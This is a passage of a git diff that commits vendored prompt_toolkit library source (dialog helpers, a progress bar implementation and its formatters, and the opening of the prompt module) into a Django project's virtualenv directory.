"{}(original_cursor_position={!r}, type={!r})".format( + self.__class__.__name__, + self.original_cursor_position, + self.type, + ) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/__init__.py new file mode 100644 index 00000000..10ad3148 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/__init__.py @@ -0,0 +1,44 @@ +from .dialogs import ( + button_dialog, + checkboxlist_dialog, + input_dialog, + message_dialog, + progress_dialog, + radiolist_dialog, + yes_no_dialog, +) +from .progress_bar import ProgressBar, ProgressBarCounter +from .prompt import ( + CompleteStyle, + PromptSession, + confirm, + create_confirm_session, + prompt, +) +from .utils import clear, clear_title, print_container, print_formatted_text, set_title + +__all__ = [ + # Dialogs. + "input_dialog", + "message_dialog", + "progress_dialog", + "checkboxlist_dialog", + "radiolist_dialog", + "yes_no_dialog", + "button_dialog", + # Prompts. + "PromptSession", + "prompt", + "confirm", + "create_confirm_session", + "CompleteStyle", + # Progress bars. + "ProgressBar", + "ProgressBarCounter", + # Utils. + "clear", + "clear_title", + "print_container", + "print_formatted_text", + "set_title", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/dialogs.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/dialogs.py new file mode 100644 index 00000000..9140f86a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/dialogs.py @@ -0,0 +1,325 @@ +import functools +from typing import Any, Callable, List, Optional, Sequence, Tuple, TypeVar + +from prompt_toolkit.application import Application +from prompt_toolkit.application.current import get_app +from prompt_toolkit.buffer import Buffer +from prompt_toolkit.completion import Completer +from prompt_toolkit.eventloop import get_event_loop, run_in_executor_with_context +from prompt_toolkit.filters import FilterOrBool +from prompt_toolkit.formatted_text import AnyFormattedText +from prompt_toolkit.key_binding.bindings.focus import focus_next, focus_previous +from prompt_toolkit.key_binding.defaults import load_key_bindings +from prompt_toolkit.key_binding.key_bindings import KeyBindings, merge_key_bindings +from prompt_toolkit.layout import Layout +from prompt_toolkit.layout.containers import AnyContainer, HSplit +from prompt_toolkit.layout.dimension import Dimension as D +from prompt_toolkit.styles import BaseStyle +from prompt_toolkit.validation import Validator +from prompt_toolkit.widgets import ( + Box, + Button, + CheckboxList, + Dialog, + Label, + ProgressBar, + RadioList, + TextArea, + ValidationToolbar, +) + +__all__ = [ + "yes_no_dialog", + "button_dialog", + "input_dialog", + "message_dialog", + "radiolist_dialog", + "checkboxlist_dialog", + "progress_dialog", +] + + +def yes_no_dialog( + title: AnyFormattedText = "", + text: AnyFormattedText = "", + yes_text: str = "Yes", + no_text: str = "No", + style: Optional[BaseStyle] = None, +) -> Application[bool]: + """ + Display a Yes/No dialog. + Return a boolean. + """ + + def yes_handler() -> None: + get_app().exit(result=True) + + def no_handler() -> None: + get_app().exit(result=False) + + dialog = Dialog( + title=title, + body=Label(text=text, dont_extend_height=True), + buttons=[ + Button(text=yes_text, handler=yes_handler), + Button(text=no_text, handler=no_handler), + ], + with_background=True, + ) + + return _create_app(dialog, style) + + +_T = TypeVar("_T") + + +def button_dialog( + title: AnyFormattedText = "", + text: AnyFormattedText = "", + buttons: List[Tuple[str, _T]] = [], + style: Optional[BaseStyle] = None, +) -> Application[_T]: + """ + Display a dialog with button choices (given as a list of tuples). + Return the value associated with button. + """ + + def button_handler(v: _T) -> None: + get_app().exit(result=v) + + dialog = Dialog( + title=title, + body=Label(text=text, dont_extend_height=True), + buttons=[ + Button(text=t, handler=functools.partial(button_handler, v)) + for t, v in buttons + ], + with_background=True, + ) + + return _create_app(dialog, style) + + +def input_dialog( + title: AnyFormattedText = "", + text: AnyFormattedText = "", + ok_text: str = "OK", + cancel_text: str = "Cancel", + completer: Optional[Completer] = None, + validator: Optional[Validator] = None, + password: FilterOrBool = False, + style: Optional[BaseStyle] = None, +) -> Application[str]: + """ + Display a text input box. + Return the given text, or None when cancelled. + """ + + def accept(buf: Buffer) -> bool: + get_app().layout.focus(ok_button) + return True # Keep text. + + def ok_handler() -> None: + get_app().exit(result=textfield.text) + + ok_button = Button(text=ok_text, handler=ok_handler) + cancel_button = Button(text=cancel_text, handler=_return_none) + + textfield = TextArea( + multiline=False, + password=password, + completer=completer, + validator=validator, + accept_handler=accept, + ) + + dialog = Dialog( + title=title, + body=HSplit( + [ + Label(text=text, dont_extend_height=True), + textfield, + ValidationToolbar(), + ], + padding=D(preferred=1, max=1), + ), + buttons=[ok_button, cancel_button], + with_background=True, + ) + + return _create_app(dialog, style) + + +def message_dialog( + title: AnyFormattedText = "", + text: AnyFormattedText = "", + ok_text: str = "Ok", + style: Optional[BaseStyle] = None, +) -> Application[None]: + """ + Display a simple message box and wait until the user presses enter. + """ + dialog = Dialog( + title=title, + body=Label(text=text, dont_extend_height=True), + buttons=[Button(text=ok_text, handler=_return_none)], + with_background=True, + ) + + return _create_app(dialog, style) + + +def radiolist_dialog( + title: AnyFormattedText = "", + text: AnyFormattedText = "", + ok_text: str = "Ok", + cancel_text: str = "Cancel", + values: Optional[Sequence[Tuple[_T, AnyFormattedText]]] = None, + default: Optional[_T] = None, + style: Optional[BaseStyle] = None, +) -> Application[_T]: + """ + Display a simple list of element the user can choose amongst. + + Only one element can be selected at a time using Arrow keys and Enter. + The focus can be moved between the list and the Ok/Cancel button with tab. + """ + if values is None: + values = [] + + def ok_handler() -> None: + get_app().exit(result=radio_list.current_value) + + radio_list = RadioList(values=values, default=default) + + dialog = Dialog( + title=title, + body=HSplit( + [Label(text=text, dont_extend_height=True), radio_list], + padding=1, + ), + buttons=[ + Button(text=ok_text, handler=ok_handler), + Button(text=cancel_text, handler=_return_none), + ], + with_background=True, + ) + + return _create_app(dialog, style) + + +def checkboxlist_dialog( + title: AnyFormattedText = "", + text: AnyFormattedText = "", + ok_text: str = "Ok", + cancel_text: str = "Cancel", + values: Optional[Sequence[Tuple[_T, AnyFormattedText]]] = None, + default_values: Optional[Sequence[_T]] = None, + style: Optional[BaseStyle] = None, +) -> Application[List[_T]]: + """ + Display a simple list of element the user can choose multiple values amongst. + + Several elements can be selected at a time using Arrow keys and Enter. + The focus can be moved between the list and the Ok/Cancel button with tab. + """ + if values is None: + values = [] + + def ok_handler() -> None: + get_app().exit(result=cb_list.current_values) + + cb_list = CheckboxList(values=values, default_values=default_values) + + dialog = Dialog( + title=title, + body=HSplit( + [Label(text=text, dont_extend_height=True), cb_list], + padding=1, + ), + buttons=[ + Button(text=ok_text, handler=ok_handler), + Button(text=cancel_text, handler=_return_none), + ], + with_background=True, + ) + + return _create_app(dialog, style) + + +def progress_dialog( + title: AnyFormattedText = "", + text: AnyFormattedText = "", + run_callback: Callable[[Callable[[int], None], Callable[[str], None]], None] = ( + lambda *a: None + ), + style: Optional[BaseStyle] = None, +) -> Application[None]: + """ + :param run_callback: A function that receives as input a `set_percentage` + function and it does the work. + """ + loop = get_event_loop() + progressbar = ProgressBar() + text_area = TextArea( + focusable=False, + # Prefer this text area as big as possible, to avoid having a window + # that keeps resizing when we add text to it. + height=D(preferred=10**10), + ) + + dialog = Dialog( + body=HSplit( + [ + Box(Label(text=text)), + Box(text_area, padding=D.exact(1)), + progressbar, + ] + ), + title=title, + with_background=True, + ) + app = _create_app(dialog, style) + + def set_percentage(value: int) -> None: + progressbar.percentage = int(value) + app.invalidate() + + def log_text(text: str) -> None: + loop.call_soon_threadsafe(text_area.buffer.insert_text, text) + app.invalidate() + + # Run the callback in the executor. When done, set a return value for the + # UI, so that it quits. + def start() -> None: + try: + run_callback(set_percentage, log_text) + finally: + app.exit() + + def pre_run() -> None: + run_in_executor_with_context(start) + + app.pre_run_callables.append(pre_run) + + return app + + +def _create_app(dialog: AnyContainer, style: Optional[BaseStyle]) -> Application[Any]: + # Key bindings. + bindings = KeyBindings() + bindings.add("tab")(focus_next) + bindings.add("s-tab")(focus_previous) + + return Application( + layout=Layout(dialog), + key_bindings=merge_key_bindings([load_key_bindings(), bindings]), + mouse_support=True, + style=style, + full_screen=True, + ) + + +def _return_none() -> None: + "Button handler that returns None." + get_app().exit() diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/progress_bar/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/progress_bar/__init__.py new file mode 100644 index 00000000..7d0fbb50 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/progress_bar/__init__.py @@ -0,0 +1,31 @@ +from .base import ProgressBar, ProgressBarCounter +from .formatters import ( + Bar, + Formatter, + IterationsPerSecond, + Label, + Percentage, + Progress, + Rainbow, + SpinningWheel, + Text, + TimeElapsed, + TimeLeft, +) + +__all__ = [ + "ProgressBar", + "ProgressBarCounter", + # Formatters. + "Formatter", + "Text", + "Label", + "Percentage", + "Bar", + "Progress", + "TimeElapsed", + "TimeLeft", + "IterationsPerSecond", + "SpinningWheel", + "Rainbow", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/progress_bar/base.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/progress_bar/base.py new file mode 100644 index 00000000..c22507e2 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/progress_bar/base.py @@ -0,0 +1,438 @@ +""" +Progress bar implementation on top of prompt_toolkit. + +:: + + with ProgressBar(...) as pb: + for item in pb(data): + ... +""" +import datetime +import functools +import os +import signal +import threading +import traceback +from asyncio import new_event_loop, set_event_loop +from typing import ( + Generic, + Iterable, + Iterator, + List, + Optional, + Sequence, + Sized, + TextIO, + TypeVar, + cast, +) + +from prompt_toolkit.application import Application +from prompt_toolkit.application.current import get_app_session +from prompt_toolkit.eventloop import get_event_loop +from prompt_toolkit.filters import Condition, is_done, renderer_height_is_known +from prompt_toolkit.formatted_text import ( + AnyFormattedText, + StyleAndTextTuples, + to_formatted_text, +) +from prompt_toolkit.input import Input +from prompt_toolkit.key_binding import KeyBindings +from prompt_toolkit.key_binding.key_processor import KeyPressEvent +from prompt_toolkit.layout import ( + ConditionalContainer, + FormattedTextControl, + HSplit, + Layout, + VSplit, + Window, +) +from prompt_toolkit.layout.controls import UIContent, UIControl +from prompt_toolkit.layout.dimension import AnyDimension, D +from prompt_toolkit.output import ColorDepth, Output +from prompt_toolkit.styles import BaseStyle + +from .formatters import Formatter, create_default_formatters + +try: + import contextvars +except ImportError: + from prompt_toolkit.eventloop import dummy_contextvars + + contextvars = dummy_contextvars # type: ignore + + +__all__ = ["ProgressBar"] + +E = KeyPressEvent + +_SIGWINCH = getattr(signal, "SIGWINCH", None) + + +def create_key_bindings() -> KeyBindings: + """ + Key bindings handled by the progress bar. + (The main thread is not supposed to handle any key bindings.) + """ + kb = KeyBindings() + + @kb.add("c-l") + def _clear(event: E) -> None: + event.app.renderer.clear() + + @kb.add("c-c") + def _interrupt(event: E) -> None: + # Send KeyboardInterrupt to the main thread. + os.kill(os.getpid(), signal.SIGINT) + + return kb + + +_T = TypeVar("_T") + + +class ProgressBar: + """ + Progress bar context manager. + + Usage :: + + with ProgressBar(...) as pb: + for item in pb(data): + ... + + :param title: Text to be displayed above the progress bars. This can be a + callable or formatted text as well. + :param formatters: List of :class:`.Formatter` instances. + :param bottom_toolbar: Text to be displayed in the bottom toolbar. This + can be a callable or formatted text. + :param style: :class:`prompt_toolkit.styles.BaseStyle` instance. + :param key_bindings: :class:`.KeyBindings` instance. + :param file: The file object used for rendering, by default `sys.stderr` is used. + + :param color_depth: `prompt_toolkit` `ColorDepth` instance. + :param output: :class:`~prompt_toolkit.output.Output` instance. + :param input: :class:`~prompt_toolkit.input.Input` instance. + """ + + def __init__( + self, + title: AnyFormattedText = None, + formatters: Optional[Sequence[Formatter]] = None, + bottom_toolbar: AnyFormattedText = None, + style: Optional[BaseStyle] = None, + key_bindings: Optional[KeyBindings] = None, + file: Optional[TextIO] = None, + color_depth: Optional[ColorDepth] = None, + output: Optional[Output] = None, + input: Optional[Input] = None, + ) -> None: + + self.title = title + self.formatters = formatters or create_default_formatters() + self.bottom_toolbar = bottom_toolbar + self.counters: List[ProgressBarCounter[object]] = [] + self.style = style + self.key_bindings = key_bindings + + # Note that we use __stderr__ as default error output, because that + # works best with `patch_stdout`. + self.color_depth = color_depth + self.output = output or get_app_session().output + self.input = input or get_app_session().input + + self._thread: Optional[threading.Thread] = None + + self._loop = get_event_loop() + self._app_loop = new_event_loop() + self._has_sigwinch = False + self._app_started = threading.Event() + + def __enter__(self) -> "ProgressBar": + # Create UI Application. + title_toolbar = ConditionalContainer( + Window( + FormattedTextControl(lambda: self.title), + height=1, + style="class:progressbar,title", + ), + filter=Condition(lambda: self.title is not None), + ) + + bottom_toolbar = ConditionalContainer( + Window( + FormattedTextControl( + lambda: self.bottom_toolbar, style="class:bottom-toolbar.text" + ), + style="class:bottom-toolbar", + height=1, + ), + filter=~is_done + & renderer_height_is_known + & Condition(lambda: self.bottom_toolbar is not None), + ) + + def width_for_formatter(formatter: Formatter) -> AnyDimension: + # Needs to be passed as callable (partial) to the 'width' + # parameter, because we want to call it on every resize. + return formatter.get_width(progress_bar=self) + + progress_controls = [ + Window( + content=_ProgressControl(self, f), + width=functools.partial(width_for_formatter, f), + ) + for f in self.formatters + ] + + self.app: Application[None] = Application( + min_redraw_interval=0.05, + layout=Layout( + HSplit( + [ + title_toolbar, + VSplit( + progress_controls, + height=lambda: D( + preferred=len(self.counters), max=len(self.counters) + ), + ), + Window(), + bottom_toolbar, + ] + ) + ), + style=self.style, + key_bindings=self.key_bindings, + refresh_interval=0.3, + color_depth=self.color_depth, + output=self.output, + input=self.input, + ) + + # Run application in different thread. + def run() -> None: + set_event_loop(self._app_loop) + try: + self.app.run(pre_run=self._app_started.set) + except BaseException as e: + traceback.print_exc() + print(e) + + ctx: contextvars.Context = contextvars.copy_context() + + self._thread = threading.Thread(target=ctx.run, args=(run,)) + self._thread.start() + + return self + + def __exit__(self, *a: object) -> None: + # Wait for the app to be started. Make sure we don't quit earlier, + # otherwise `self.app.exit` won't terminate the app because + # `self.app.future` has not yet been set. + self._app_started.wait() + + # Quit UI application. + if self.app.is_running: + self._app_loop.call_soon_threadsafe(self.app.exit) + + if self._thread is not None: + self._thread.join() + self._app_loop.close() + + def __call__( + self, + data: Optional[Iterable[_T]] = None, + label: AnyFormattedText = "", + remove_when_done: bool = False, + total: Optional[int] = None, + ) -> "ProgressBarCounter[_T]": + """ + Start a new counter. + + :param label: Title text or description for this progress. (This can be + formatted text as well). + :param remove_when_done: When `True`, hide this progress bar. + :param total: Specify the maximum value if it can't be calculated by + calling ``len``. + """ + counter = ProgressBarCounter( + self, data, label=label, remove_when_done=remove_when_done, total=total + ) + self.counters.append(counter) + return counter + + def invalidate(self) -> None: + self.app.invalidate() + + +class _ProgressControl(UIControl): + """ + User control for the progress bar. + """ + + def __init__(self, progress_bar: ProgressBar, formatter: Formatter) -> None: + self.progress_bar = progress_bar + self.formatter = formatter + self._key_bindings = create_key_bindings() + + def create_content(self, width: int, height: int) -> UIContent: + items: List[StyleAndTextTuples] = [] + + for pr in self.progress_bar.counters: + try: + text = self.formatter.format(self.progress_bar, pr, width) + except BaseException: + traceback.print_exc() + text = "ERROR" + + items.append(to_formatted_text(text)) + + def get_line(i: int) -> StyleAndTextTuples: + return items[i] + + return UIContent(get_line=get_line, line_count=len(items), show_cursor=False) + + def is_focusable(self) -> bool: + return True # Make sure that the key bindings work. + + def get_key_bindings(self) -> KeyBindings: + return self._key_bindings + + +_CounterItem = TypeVar("_CounterItem", covariant=True) + + +class ProgressBarCounter(Generic[_CounterItem]): + """ + An individual counter (A progress bar can have multiple counters). + """ + + def __init__( + self, + progress_bar: ProgressBar, + data: Optional[Iterable[_CounterItem]] = None, + label: AnyFormattedText = "", + remove_when_done: bool = False, + total: Optional[int] = None, + ) -> None: + + self.start_time = datetime.datetime.now() + self.stop_time: Optional[datetime.datetime] = None + self.progress_bar = progress_bar + self.data = data + self.items_completed = 0 + self.label = label + self.remove_when_done = remove_when_done + self._done = False + self.total: Optional[int] + + if total is None: + try: + self.total = len(cast(Sized, data)) + except TypeError: + self.total = None # We don't know the total length. + else: + self.total = total + + def __iter__(self) -> Iterator[_CounterItem]: + if self.data is not None: + try: + for item in self.data: + yield item + self.item_completed() + + # Only done if we iterate to the very end. + self.done = True + finally: + # Ensure counter has stopped even if we did not iterate to the + # end (e.g. break or exceptions). + self.stopped = True + else: + raise NotImplementedError("No data defined to iterate over.") + + def item_completed(self) -> None: + """ + Start handling the next item. + + (Can be called manually in case we don't have a collection to loop through.) + """ + self.items_completed += 1 + self.progress_bar.invalidate() + + @property + def done(self) -> bool: + """Whether a counter has been completed. + + Done counter have been stopped (see stopped) and removed depending on + remove_when_done value. + + Contrast this with stopped. A stopped counter may be terminated before + 100% completion. A done counter has reached its 100% completion. + """ + return self._done + + @done.setter + def done(self, value: bool) -> None: + self._done = value + self.stopped = value + + if value and self.remove_when_done: + self.progress_bar.counters.remove(self) + + @property + def stopped(self) -> bool: + """Whether a counter has been stopped. + + Stopped counters no longer have increasing time_elapsed. This distinction is + also used to prevent the Bar formatter with unknown totals from continuing to run. + + A stopped counter (but not done) can be used to signal that a given counter has + encountered an error but allows other counters to continue + (e.g. download X of Y failed). Given how only done counters are removed + (see remove_when_done) this can help aggregate failures from a large number of + successes. + + Contrast this with done. A done counter has reached its 100% completion. + A stopped counter may be terminated before 100% completion. + """ + return self.stop_time is not None + + @stopped.setter + def stopped(self, value: bool) -> None: + if value: + # This counter has not already been stopped. + if not self.stop_time: + self.stop_time = datetime.datetime.now() + else: + # Clearing any previously set stop_time. + self.stop_time = None + + @property + def percentage(self) -> float: + if self.total is None: + return 0 + else: + return self.items_completed * 100 / max(self.total, 1) + + @property + def time_elapsed(self) -> datetime.timedelta: + """ + Return how much time has been elapsed since the start. + """ + if self.stop_time is None: + return datetime.datetime.now() - self.start_time + else: + return self.stop_time - self.start_time + + @property + def time_left(self) -> Optional[datetime.timedelta]: + """ + Timedelta representing the time left. + """ + if self.total is None or not self.percentage: + return None + elif self.done or self.stopped: + return datetime.timedelta(0) + else: + return self.time_elapsed * (100 - self.percentage) / self.percentage diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/progress_bar/formatters.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/progress_bar/formatters.py new file mode 100644 index 00000000..1383d7a6 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/progress_bar/formatters.py @@ -0,0 +1,436 @@ +""" +Formatter classes for the progress bar. +Each progress bar consists of a list of these formatters. +""" +import datetime +import time +from abc import ABCMeta, abstractmethod +from typing import TYPE_CHECKING, List, Tuple + +from prompt_toolkit.formatted_text import ( + HTML, + AnyFormattedText, + StyleAndTextTuples, + to_formatted_text, +) +from prompt_toolkit.formatted_text.utils import fragment_list_width +from prompt_toolkit.layout.dimension import AnyDimension, D +from prompt_toolkit.layout.utils import explode_text_fragments +from prompt_toolkit.utils import get_cwidth + +if TYPE_CHECKING: + from .base import ProgressBar, ProgressBarCounter + +__all__ = [ + "Formatter", + "Text", + "Label", + "Percentage", + "Bar", + "Progress", + "TimeElapsed", + "TimeLeft", + "IterationsPerSecond", + "SpinningWheel", + "Rainbow", + "create_default_formatters", +] + + +class Formatter(metaclass=ABCMeta): + """ + Base class for any formatter. + """ + + @abstractmethod + def format( + self, + progress_bar: "ProgressBar", + progress: "ProgressBarCounter[object]", + width: int, + ) -> AnyFormattedText: + pass + + def get_width(self, progress_bar: "ProgressBar") -> AnyDimension: + return D() + + +class Text(Formatter): + """ + Display plain text. + """ + + def __init__(self, text: AnyFormattedText, style: str = "") -> None: + self.text = to_formatted_text(text, style=style) + + def format( + self, + progress_bar: "ProgressBar", + progress: "ProgressBarCounter[object]", + width: int, + ) -> AnyFormattedText: + return self.text + + def get_width(self, progress_bar: "ProgressBar") -> AnyDimension: + return fragment_list_width(self.text) + + +class Label(Formatter): + """ + Display the name of the current task. + + :param width: If a `width` is given, use this width. Scroll the text if it + doesn't fit in this width. + :param suffix: String suffix to be added after the task name, e.g. ': '. + If no task name was given, no suffix will be added. + """ + + def __init__(self, width: AnyDimension = None, suffix: str = "") -> None: + self.width = width + self.suffix = suffix + + def _add_suffix(self, label: AnyFormattedText) -> StyleAndTextTuples: + label = to_formatted_text(label, style="class:label") + return label + [("", self.suffix)] + + def format( + self, + progress_bar: "ProgressBar", + progress: "ProgressBarCounter[object]", + width: int, + ) -> AnyFormattedText: + + label = self._add_suffix(progress.label) + cwidth = fragment_list_width(label) + + if cwidth > width: + # It doesn't fit -> scroll task name. + label = explode_text_fragments(label) + max_scroll = cwidth - width + current_scroll = int(time.time() * 3 % max_scroll) + label = label[current_scroll:] + + return label + + def get_width(self, progress_bar: "ProgressBar") -> AnyDimension: + if self.width: + return self.width + + all_labels = [self._add_suffix(c.label) for c in progress_bar.counters] + if all_labels: + max_widths = max(fragment_list_width(l) for l in all_labels) + return D(preferred=max_widths, max=max_widths) + else: + return D() + + +class Percentage(Formatter): + """ + Display the progress as a percentage. + """ + + template = "{percentage:>5}%" + + def format( + self, + progress_bar: "ProgressBar", + progress: "ProgressBarCounter[object]", + width: int, + ) -> AnyFormattedText: + + return HTML(self.template).format(percentage=round(progress.percentage, 1)) + + def get_width(self, progress_bar: "ProgressBar") -> AnyDimension: + return D.exact(6) + + +class Bar(Formatter): + """ + Display the progress bar itself. + """ + + template = "{start}{bar_a}{bar_b}{bar_c}{end}" + + def __init__( + self, + start: str = "[", + end: str = "]", + sym_a: str = "=", + sym_b: str = ">", + sym_c: str = " ", + unknown: str = "#", + ) -> None: + + assert len(sym_a) == 1 and get_cwidth(sym_a) == 1 + assert len(sym_c) == 1 and get_cwidth(sym_c) == 1 + + self.start = start + self.end = end + self.sym_a = sym_a + self.sym_b = sym_b + self.sym_c = sym_c + self.unknown = unknown + + def format( + self, + progress_bar: "ProgressBar", + progress: "ProgressBarCounter[object]", + width: int, + ) -> AnyFormattedText: + if progress.done or progress.total or progress.stopped: + sym_a, sym_b, sym_c = self.sym_a, self.sym_b, self.sym_c + + # Compute pb_a based on done, total, or stopped states. + if progress.done: + # 100% completed irrelevant of how much was actually marked as completed. + percent = 1.0 + else: + # Show percentage completed. + percent = progress.percentage / 100 + else: + # Total is unknown and bar is still running. + sym_a, sym_b, sym_c = self.sym_c, self.unknown, self.sym_c + + # Compute percent based on the time. + percent = time.time() * 20 % 100 / 100 + + # Subtract left, sym_b, and right. + width -= get_cwidth(self.start + sym_b + self.end) + + # Scale percent by width + pb_a = int(percent * width) + bar_a = sym_a * pb_a + bar_b = sym_b + bar_c = sym_c * (width - pb_a) + + return HTML(self.template).format( + start=self.start, end=self.end, bar_a=bar_a, bar_b=bar_b, bar_c=bar_c + ) + + def get_width(self, progress_bar: "ProgressBar") -> AnyDimension: + return D(min=9) + + +class Progress(Formatter): + """ + Display the progress as text. E.g. "8/20" + """ + + template = "{current:>3}/{total:>3}" + + def format( + self, + progress_bar: "ProgressBar", + progress: "ProgressBarCounter[object]", + width: int, + ) -> AnyFormattedText: + + return HTML(self.template).format( + current=progress.items_completed, total=progress.total or "?" + ) + + def get_width(self, progress_bar: "ProgressBar") -> AnyDimension: + all_lengths = [ + len("{:>3}".format(c.total or "?")) for c in progress_bar.counters + ] + all_lengths.append(1) + return D.exact(max(all_lengths) * 2 + 1) + + +def _format_timedelta(timedelta: datetime.timedelta) -> str: + """ + Return hh:mm:ss, or mm:ss if the amount of hours is zero. + """ + result = f"{timedelta}".split(".")[0] + if result.startswith("0:"): + result = result[2:] + return result + + +class TimeElapsed(Formatter): + """ + Display the elapsed time. + """ + + def format( + self, + progress_bar: "ProgressBar", + progress: "ProgressBarCounter[object]", + width: int, + ) -> AnyFormattedText: + + text = _format_timedelta(progress.time_elapsed).rjust(width) + return HTML("{time_elapsed}").format( + time_elapsed=text + ) + + def get_width(self, progress_bar: "ProgressBar") -> AnyDimension: + all_values = [ + len(_format_timedelta(c.time_elapsed)) for c in progress_bar.counters + ] + if all_values: + return max(all_values) + return 0 + + +class TimeLeft(Formatter): + """ + Display the time left. + """ + + template = "{time_left}" + unknown = "?:??:??" + + def format( + self, + progress_bar: "ProgressBar", + progress: "ProgressBarCounter[object]", + width: int, + ) -> AnyFormattedText: + + time_left = progress.time_left + if time_left is not None: + formatted_time_left = _format_timedelta(time_left) + else: + formatted_time_left = self.unknown + + return HTML(self.template).format(time_left=formatted_time_left.rjust(width)) + + def get_width(self, progress_bar: "ProgressBar") -> AnyDimension: + all_values = [ + len(_format_timedelta(c.time_left)) if c.time_left is not None else 7 + for c in progress_bar.counters + ] + if all_values: + return max(all_values) + return 0 + + +class IterationsPerSecond(Formatter): + """ + Display the iterations per second. + """ + + template = ( + "{iterations_per_second:.2f}" + ) + + def format( + self, + progress_bar: "ProgressBar", + progress: "ProgressBarCounter[object]", + width: int, + ) -> AnyFormattedText: + + value = progress.items_completed / progress.time_elapsed.total_seconds() + return HTML(self.template.format(iterations_per_second=value)) + + def get_width(self, progress_bar: "ProgressBar") -> AnyDimension: + all_values = [ + len(f"{c.items_completed / c.time_elapsed.total_seconds():.2f}") + for c in progress_bar.counters + ] + if all_values: + return max(all_values) + return 0 + + +class SpinningWheel(Formatter): + """ + Display a spinning wheel. + """ + + characters = r"/-\|" + + def format( + self, + progress_bar: "ProgressBar", + progress: "ProgressBarCounter[object]", + width: int, + ) -> AnyFormattedText: + + index = int(time.time() * 3) % len(self.characters) + return HTML("{0}").format( + self.characters[index] + ) + + def get_width(self, progress_bar: "ProgressBar") -> AnyDimension: + return D.exact(1) + + +def _hue_to_rgb(hue: float) -> Tuple[int, int, int]: + """ + Take hue between 0 and 1, return (r, g, b). + """ + i = int(hue * 6.0) + f = (hue * 6.0) - i + + q = int(255 * (1.0 - f)) + t = int(255 * (1.0 - (1.0 - f))) + + i %= 6 + + return [ + (255, t, 0), + (q, 255, 0), + (0, 255, t), + (0, q, 255), + (t, 0, 255), + (255, 0, q), + ][i] + + +class Rainbow(Formatter): + """ + For the fun. Add rainbow colors to any of the other formatters. + """ + + colors = ["#%.2x%.2x%.2x" % _hue_to_rgb(h / 100.0) for h in range(0, 100)] + + def __init__(self, formatter: Formatter) -> None: + self.formatter = formatter + + def format( + self, + progress_bar: "ProgressBar", + progress: "ProgressBarCounter[object]", + width: int, + ) -> AnyFormattedText: + + # Get formatted text from nested formatter, and explode it in + # text/style tuples. + result = self.formatter.format(progress_bar, progress, width) + result = explode_text_fragments(to_formatted_text(result)) + + # Insert colors. + result2: StyleAndTextTuples = [] + shift = int(time.time() * 3) % len(self.colors) + + for i, (style, text, *_) in enumerate(result): + result2.append( + (style + " " + self.colors[(i + shift) % len(self.colors)], text) + ) + return result2 + + def get_width(self, progress_bar: "ProgressBar") -> AnyDimension: + return self.formatter.get_width(progress_bar) + + +def create_default_formatters() -> List[Formatter]: + """ + Return the list of default formatters. + """ + return [ + Label(), + Text(" "), + Percentage(), + Text(" "), + Bar(), + Text(" "), + Progress(), + Text(" "), + Text("eta [", style="class:time-left"), + TimeLeft(), + Text("]", style="class:time-left"), + Text(" "), + ] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/prompt.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/prompt.py new file mode 100644 index 00000000..4dc1b18d --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/shortcuts/prompt.py @@ -0,0 +1,1504 @@ +""" +Line editing functionality. +--------------------------- + +This provides a UI for a line input, similar to GNU Readline, libedit and +linenoise. + +Either call the `prompt` function for every line input. Or create an instance +of the :class:`.PromptSession` class and call the `prompt` method from that +class. In the second case, we'll have a 'session' that keeps all the state like +the history in between several calls. + +There is a lot of overlap between the arguments taken by the `prompt` function +and the `PromptSession` (like `completer`, `style`, etcetera). There we have +the freedom to decide which settings we want for the whole 'session', and which +we want for an individual `prompt`. + +Example:: + + # Simple `prompt` call. + result = prompt('Say something: ') + + # Using a 'session'. + s = PromptSession() + result = s.prompt('Say something: ') +""" +from contextlib import contextmanager +from enum import Enum +from functools import partial +from typing import ( + TYPE_CHECKING, + Callable, + Generic, + Iterator, + List, + Optional, + Tuple, + TypeVar, + Union, + cast, +) + +from prompt_toolkit.application import Application +from prompt_toolkit.application.current import get_app +from prompt_toolkit.auto_suggest import AutoSuggest, DynamicAutoSuggest +from prompt_toolkit.buffer import Buffer +from prompt_toolkit.clipboard import Clipboard, DynamicClipboard, InMemoryClipboard +from prompt_toolkit.completion import Completer, DynamicCompleter, ThreadedCompleter +from prompt_toolkit.cursor_shapes import ( + AnyCursorShapeConfig, + CursorShapeConfig, + DynamicCursorShapeConfig, +) +from prompt_toolkit.document import Document +from prompt_toolkit.enums import DEFAULT_BUFFER, SEARCH_BUFFER, EditingMode +from prompt_toolkit.eventloop import get_event_loop +from prompt_toolkit.filters import ( + Condition, + FilterOrBool, + has_arg, + has_focus, + is_done, + is_true, + renderer_height_is_known, + to_filter, +) +from prompt_toolkit.formatted_text import ( + AnyFormattedText, + StyleAndTextTuples, + fragment_list_to_text, + merge_formatted_text, + to_formatted_text, +) +from prompt_toolkit.history import History, InMemoryHistory +from prompt_toolkit.input.base import Input +from prompt_toolkit.key_binding.bindings.auto_suggest import load_auto_suggest_bindings +from prompt_toolkit.key_binding.bindings.completion import ( + display_completions_like_readline, +) +from prompt_toolkit.key_binding.bindings.open_in_editor import ( + load_open_in_editor_bindings, +) +from prompt_toolkit.key_binding.key_bindings import ( + ConditionalKeyBindings, + 